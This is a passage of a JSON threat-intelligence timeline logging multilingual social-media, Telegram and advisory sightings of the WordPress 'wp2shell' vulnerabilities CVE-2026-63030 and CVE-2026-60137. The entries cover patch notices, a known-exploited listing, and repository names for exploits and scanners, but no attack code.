\u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u062c\u062f\u06cc\u062f \u0631\u0627 \u0646\u0635\u0628 \u06a9\u0646\u0646\u062f.\n\n#\u062a\u0647\u062f\u06cc\u062f_\u0633\u0627\u06cc\u0628\u0631\u06cc #\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc #\u0648\u0631\u062f\u067e\u0631\u0633\n\n\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\n\ud83d\udd39\ud83d\udd39 @cyberbannews_ir", "url": "https://t.me/cyberbannews_ir/22721"}, {"timestamp": "2026-07-19T07:04:27.581Z", "date_only": false, "value": "2026-07-19T07:04:27.581371Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jkanematsu.bsky.social/post/3mqy7qa5ni22j", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c2a3f2ac-63e6-4a3b-9582-204437125d51", "content": "\u3010\u7d9a\u5831\u3011WordPress\u306e\u8106\u5f31\u6027\uff08wp2shell\uff0fCVE-2026-63030\uff09\u304c\u516c\u8868\u3055\u308c\u3066\u3044\u307e\u3059\u3002\n\u203b\u6628\u65e5\u306e\u6295\u7a3f\u3067\u66f8\u3044\u305f\u3001\u9023\u643a\u3057\u3066\u60aa\u7528\u3055\u308c\u308bSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\uff08CVE-2026-60137\uff09\u3092\u542b\u307f\u307e\u3059\u3002\n\n\u3010\u4fee\u6b63\u7248\u3078\u901f\u3084\u304b\u306b\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3057\u3066\u304f\u3060\u3055\u3044\u3011\n\u30fb6.9.x \u3000\u2192\u3000WordPress 6.9.5 \n\u30fb7.0.x \u3000\u2192\u3000WordPress 7.0.2 \n\u30fb6.8.x \u3000\u2192\u3000WordPress 6.8.6 \n\nX\u30b5\u30fc\u30d0\u30fc\u7cfb\u306e\u30b9\u30bf\u30fc\u30ec\u30f3\u30bf\u30eb\u30b5\u30fc\u30d0\u30fc\u3055\u3093\u306e\u304a\u77e5\u3089\u305b\u306b\u3082\u8f09\u3063\u3066\u3044\u305f\u306e\u3067\u3001\u30ea\u30f3\u30af\u8cbc\u3063\u3066\u304a\u304d\u307e\u3059\u3002\nwww.star.ne.jp/news/detail....", "url": "https://bsky.app/profile/jkanematsu.bsky.social/post/3mqy7qa5ni22j"}, {"timestamp": "2026-07-19T07:18:29.651Z", "date_only": false, "value": "2026-07-19T07:18:29.651696Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyage2uhu23", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "a4e9ba02-5878-47f2-af8d-b20e30f8585f", "content": "CVE-2026-60137: Unchecked WordPress Vulnerabilities Allow Unauthenticated Takeover #CVE2026 #WordPressSecurity #Cybersecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyage2uhu23"}, {"timestamp": "2026-07-19T07:19:26.941Z", "date_only": false, "value": "2026-07-19T07:19:26.941101Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyai2vplb2w", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "836ed81b-908c-4d07-9ff7-628abc2a99fb", "content": "Critical CVE-2026-63030 and CVE-2026-60137 Exploits Threaten WordPress Sites #WordPress #CyberSecurity #CVE2026", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyai2vplb2w"}, {"timestamp": "2026-07-19T07:19:30.496Z", "date_only": false, "value": "2026-07-19T07:19:30.496899Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyai6mcmt2j", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "a74d91e0-d45d-4497-b0b6-170bc3bd21e4", "content": "CVE-2026-63030; CVE-2026-60137: WordPress Exploits Offer Open Door to Attackers #WordPress #Cybersecurity #Exploits", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyai6mcmt2j"}, {"timestamp": "2026-07-19T07:19:32.501Z", "date_only": false, "value": "2026-07-19T07:19:32.501733Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyaiai4m72p", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "162637e1-fbe0-4ab1-949d-819de402310a", "content": "CVE-2026-63030 and CVE-2026-60137: Is WordPress\u2019s Update Enough? #WordPress #CyberSecurity #Vulnerability", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyaiai4m72p"}, {"timestamp": "2026-07-19T08:00:04.985Z", "date_only": false, "value": "2026-07-19T08:00:04.985278Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94097", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "9e8c8c24-9f27-4775-ab30-fd93ab4cc693", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ikow\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 06:23:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell \u2014 WordPress Core Pre-Auth RCE (CVE-2026-63030 + CVE-2026-60137). Exploit toolkit + remediation.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94097"}, {"timestamp": "2026-07-19T09:40:19.864Z", "date_only": false, "value": "2026-07-19T09:40:19.864456Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crawler.baldanders.info/post/3mqyidqoupg2g", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "64fd4ceb-bbfa-487c-a74d-02ff20c5632a", "content": "\uff1e WordPress Core\u306e\u8106\u5f31\u6027 CVE-2026-63030 / CVE-2026-60137 (\u901a\u79f0\u300cwp2shell\u300d)\u306b\u3064\u3044\u3066\u307e\u3068\u3081\u3066\u307f\u305f\nhttps://piyolog.hatenadiary.jp/entry/2026/07/19/181822\n", "url": "https://bsky.app/profile/crawler.baldanders.info/post/3mqyidqoupg2g"}, {"timestamp": "2026-07-19T10:00:03.328Z", "date_only": false, "value": "2026-07-19T10:00:03.328924Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94110", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "f308c877-579c-4b6a-9db6-411a65d7a445", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a bahartanir\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 08:54:06\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 / CVE-2026-60137 - WordPress pre-auth RCE scanner\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94110"}, {"timestamp": "2026-07-19T10:04:30.894Z", "date_only": false, "value": "2026-07-19T10:04:30.894338Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kalika.de/post/3mqyjpa7z3m2n", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "d43ca3b9-0126-42c3-a793-33a5e1053188", "content": "wp2shell: Die kritische Pre-Auth-RCE-L\u00fccke in WordPress Core \u2013 was Site-Betreiber jetzt wissen m\u00fcssen\n\nwp2shell (CVE-2026-63030 & CVE-2026-60137) erlaubt unauthentifizierte Remote Code Execution in WordPres...\n\nhttps://www.kalika.de/posts/technical-analysis-of-wp2shell-the-latest-wordpress-core-pre/", "url": "https://bsky.app/profile/kalika.de/post/3mqyjpa7z3m2n"}, {"timestamp": "2026-07-19T13:00:04.370Z", "date_only": false, "value": "2026-07-19T13:00:04.370716Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/HackerNewscyber/3265", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "5c526c86-fd01-4bb8-b1af-5d591b5961c7", "content": "\u2708\ufe0f\u0627\u0646\u062a\u0634\u0627\u0631 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a\u200c\u0647\u0627\u06cc \u0639\u0645\u0648\u0645\u06cc wp2shell\u061b \u0645\u06cc\u0644\u06cc\u0648\u0646\u200c\u0647\u0627 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a \u0648\u0631\u062f\u067e\u0631\u0633\u06cc \u062f\u0631 \u0645\u0639\u0631\u0636 \u062a\u0635\u0631\u0641 \u06a9\u0627\u0645\u0644\n\n\ud83c\udfa5 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a\u200c\u0647\u0627\u06cc \u0639\u0645\u0648\u0645\u06cc \u0645\u0648\u0633\u0648\u0645 \u0628\u0647 wp2shell \u0628\u0631\u0627\u06cc \u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0648\u0631\u062f\u067e\u0631\u0633 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u0647\u0627\u06cc CVE-2026-63030 \u0648 CVE-2026-60137 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f. \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0627 \u0632\u0646\u062c\u06cc\u0631\u0647\u200c\u0633\u0627\u0632\u06cc \u0627\u06cc\u0646 \u062f\u0648 \u0646\u0642\u0635\u060c \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a\u060c \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u062e\u0648\u062f \u0631\u0627 \u0631\u0648\u06cc \u0633\u0631\u0648\u0631 \u0627\u062c\u0631\u0627 \u06a9\u0631\u062f\u0647 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a \u0631\u0627 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u0628\u06af\u06cc\u0631\u0646\u062f.\n\n\ud83c\udfa5 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 6.9.x \u0648 7.0.x \u0648\u0631\u062f\u067e\u0631\u0633 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \u062a\u06cc\u0645 \u062a\u0648\u0633\u0639\u0647 \u0648\u0631\u062f\u067e\u0631\u0633 \u0627\u0632 \u0645\u062f\u06cc\u0631\u0627\u0646 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627 \u062e\u0648\u0627\u0633\u062a\u0647 \u0627\u0633\u062a \u0647\u0631\u0686\u0647 \u0633\u0631\u06cc\u0639\u200c\u062a\u0631 \u0628\u0647 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 7.0.2 \u06cc\u0627 6.9.5 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0646\u0646\u062f. \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0634\u062f\u062a \u0627\u06cc\u0646 \u0646\u0642\u0635\u200c\u0647\u0627\u060c \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u062e\u0648\u062f\u06a9\u0627\u0631 \u0646\u06cc\u0632 \u0628\u0631\u0627\u06cc \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0641\u0639\u0627\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\ud83c\udfa5\u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0634\u0631\u06a9\u062a Searchlight Cyber \u0627\u0639\u0644\u0627\u0645 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u0628\u06cc\u0634 \u0627\u0632 \u06f5\u06f0\u06f0 \u0645\u06cc\u0644\u06cc\u0648\u0646 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a \u0627\u0632 \u0648\u0631\u062f\u067e\u0631\u0633 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0648 \u062f\u0631 \u0635\u0648\u0631\u062a \u0639\u062f\u0645 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u060c \u062f\u0631 \u0645\u0639\u0631\u0636 \u062d\u0645\u0644\u0627\u062a \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0646\u062f. \u062f\u0631 \u0635\u0648\u0631\u062a \u0639\u062f\u0645 \u0627\u0645\u06a9\u0627\u0646 \u0646\u0635\u0628 \u0648\u0635\u0644\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc\u060c \u0628\u0647\u200c\u0637\u0648\u0631 \u0645\u0648\u0642\u062a \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0646\u0627\u0634\u0646\u0627\u0633 \u0628\u0647 \u0645\u0633\u06cc\u0631 REST API Batch \u0631\u0627 \u0645\u0633\u062f\u0648\u062f \u06a9\u0631\u062f\u060c \u0627\u0645\u0627 \u0627\u06cc\u0646 \u0627\u0642\u062f\u0627\u0645 \u062a\u0646\u0647\u0627 \u06cc\u06a9 \u0631\u0627\u0647\u06a9\u0627\u0631 \u0645\u0648\u0642\u062a \u0645\u062d\u0633\u0648\u0628 \u0645\u06cc\u200c\u0634\u0648\u062f.\n\n\u2708\ufe0f @HackerNewsCyber", "url": "https://t.me/HackerNewscyber/3265"}, {"timestamp": "2026-07-19T14:52:04.179Z", "date_only": false, "value": "2026-07-19T14:52:04.179564Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mqyzrf6oeu2m", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "cf7fd831-ebcb-4fd7-9e8b-f3c429f56283", "content": "WordPress Core\u306e\u8106\u5f31\u6027 CVE-2026-63030 / CVE-2026-60137 (\u901a\u79f0\u300cwp2shell\u300d)\u306b\u3064\u3044\u3066\u307e\u3068\u3081\u3066\u307f\u305f - piyolog\nhttps://piyolog.hatenadiary.jp/entry/2026/07/19/181822", "url": "https://bsky.app/profile/tech-trending.bsky.social/post/3mqyzrf6oeu2m"}, {"timestamp": "2026-07-19T14:55:09.551Z", "date_only": false, "value": "2026-07-19T14:55:09.551139Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3mqyzwwvtmo2q", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "dede6c8d-f82b-4621-ab66-5ef2f55556d1", "content": "#\ud83d\udd16\u30c6\u30af\u30ce\u30ed\u30b8\u30fc\nWordPress Core\u306e\u8106\u5f31\u6027 CVE-2026-63030 / CVE-2026-60137 (\u901a\u79f0\u300cwp2shell\u300d)\u306b\u3064\u3044\u3066\u307e\u3068\u3081\u3066\u307f\u305f - piyolog\n\n2026\u5e747\u670817\u65e5\u3001WordPress\u3092\u958b\u767a\u3059\u308bWordPress.org\u306f\u3001WordPress Core\u306b\u8a8d\u8a3c\u4e0d\u8981\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c(RCE)\u306b\u81f3\u308b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u78ba\u8a8d\u3055\u308c\u305f\u3068\u3057\u3066\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30ea\u30fc\u30b9\u7248WordPress 7.0.2\u3092\u516c\u958b\u3057\u3001\u5bfe\u8c61\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u5229\u7528\u3059\u308b\u30b5\u30a4\u30c8\u306b\u81ea\u52d5\u66f4\u65b0\u30b7\u30b9\u30c6\u30e0\u7d4c\u7531\u3067\u306e\u5f37\u5236\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u9069\u7528\u3059\u308b\u5bfe\u5fdc\u3092\u53d6\u308a\u307e\u3057\u305f\u3002\u3053\u308c\u30892\u4ef6\u306e...", "url": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3mqyzwwvtmo2q"}, {"timestamp": "2026-07-19T15:00:04.236Z", "date_only": false, "value": "2026-07-19T15:00:04.236861Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94147", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "1914e37d-618e-4c80-b6b9-17d2904ce39d", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-compromise-scanner-plugin\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a eyesecurity\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a PHP\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 13:24:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRead-only WordPress plugin that scans for artifacts of the wp2shell exploit chain (CVE-2026-63030 / CVE-2026-60137)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94147"}, {"timestamp": "2026-07-19T16:00:01Z", "date_only": false, "value": "2026-07-19T16:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2026-60137", "field": "timestamps.recorded_at", "uuid": "8d6ec1a6-0a0b-4316-8704-6d652396db19", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-19T16:00:12.877Z", "date_only": false, "value": "2026-07-19T16:00:12.877869Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94159", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "cde30b7b-1a45-4299-a157-856f242857d7", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a N45HT\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 14:57:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n[CVE-2026-63030/CVE-2026-60137] Pre Authentication RCE in WordPress Core\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94159"}, {"timestamp": "2026-07-19T16:00:32.598Z", "date_only": false, "value": "2026-07-19T16:00:32.598106Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8d6ec1a6-0a0b-4316-8704-6d652396db19", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "6a7a8554-19e7-4590-8096-f24aef86bd44", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8d6ec1a6-0a0b-4316-8704-6d652396db19"}, {"timestamp": "2026-07-19T18:00:03.970Z", "date_only": false, "value": "2026-07-19T18:00:03.970858Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94174", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "76bbb58e-5907-43e3-870c-0bd708418781", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-60137-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dewcode91\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 16:58:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94174"}, {"timestamp": "2026-07-19T21:00:04.962Z", "date_only": false, "value": "2026-07-19T21:00:04.962979Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94192", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "6cf5cce2-a9c7-4ff5-8433-c0c3597de8b0", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Vulnerability Scanner\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a PressVector\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a vulnquest58\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 19:20:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPressVector - Advanced WordPress Vulnerability Scanner CVE-2026-63030 (REST batch route confusion) / CVE-2026-60137 (SQLi) Developer: Vulnquest\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94192"}, {"timestamp": "2026-07-19T21:00:05.044Z", "date_only": false, "value": "2026-07-19T21:00:05.044374Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94189", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "aa8f1557-74d3-4e10-aba1-11c9e9e56cf7", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp-cve-2026-63030-check\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Lukols-Dev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 19:05:15\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nNon-intrusive exposure checker for the WordPress wp2shell pre-auth RCE chain (CVE-2026-63030 / CVE-2026-60137).\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94189"}, {"timestamp": "2026-07-19T21:00:05.126Z", "date_only": false, "value": "2026-07-19T21:00:05.126915Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94187", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "9c02c3bd-b961-4afe-9a47-86a39707a298", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a hidden-investigations\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 18:12:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress wp2shell vulnerability-chain scanner for CVE-2026-63030 and CVE-2026-60137, with active detection, optional PoC, JSON export.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94187"}, {"timestamp": "2026-07-19T21:39:58.818Z", "date_only": false, "value": "2026-07-19T21:39:58.818170Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mqzqkt5exc2a", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "569b9d60-2fdc-4df7-95f8-a08bd2e0200d", "content": "Two new high severity WordPress vulnerabilities, patch immediately!\n\nThe 7.0.2 WordPress security release addresses one critical and one high severity security issue. The vulnerabilities reported to the WordPress security team include: CVE-2026-60137 \u2013 A facilitated SQL injection \u2026\n#hackernews #news", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3mqzqkt5exc2a"}, {"timestamp": "2026-07-19T22:15:07.862Z", "date_only": false, "value": "2026-07-19T22:15:07.862261Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/igalog.bsky.social/post/3mqzsjnu52d2y", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "18cc2b79-e41c-4454-9db5-cf3906fe3725", "content": "WordPress Core\u306e\u8106\u5f31\u6027 CVE-2026-63030 / CVE-2026-60137 (\u901a\u79f0\u300cwp2shell\u300d)\u306b\u3064\u3044\u3066\u307e\u3068\u3081\u3066\u307f\u305f - piyolog\nhttps://piyolog.hatenadiary.jp/entry/2026/07/19/181822\n\n\u4f11\u65e5\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u4f5c\u696d", "url": "https://bsky.app/profile/igalog.bsky.social/post/3mqzsjnu52d2y"}, {"timestamp": "2026-07-19T23:51:02.735Z", "date_only": false, "value": "2026-07-19T23:51:02.735816Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/tamosan.bsky.social/post/3mqzxv6bdcl2m", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "bbd373f4-2a11-474b-a8ef-0873a2eacb33", "content": "\u591c\u884c\u6027\u30a4\u30f3\u30b3\u3055\u3093\u306e\u307e\u3068\u3081\u3002\u5373\u5bfe\u5fdc\u3067\u3059\u306a\u3053\u308c\u306f\uff1aWordPress Core\u306e\u8106\u5f31\u6027 CVE-2026-63030 / CVE-2026-60137 (\u901a\u79f0\u300cwp2shell\u300d)\u306b\u3064\u3044\u3066\u307e\u3068\u3081\u3066\u307f\u305f - piyolog piyolog.hatenadiary.jp/entry/2026/0...", "url": "https://bsky.app/profile/tamosan.bsky.social/post/3mqzxv6bdcl2m"}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": false, "value": "2026-07-20T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-0904", "record": "CERTFR-2026-AVI-0904", "field": "last_revision_date"}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": false, "value": "2026-07-20T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_alerte \u00b7 CERTFR-2026-ALE-007", "record": "CERTFR-2026-ALE-007", "field": "initial_release_date"}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": false, "value": "2026-07-20T00:00:00", "kind": "milestone", "label": 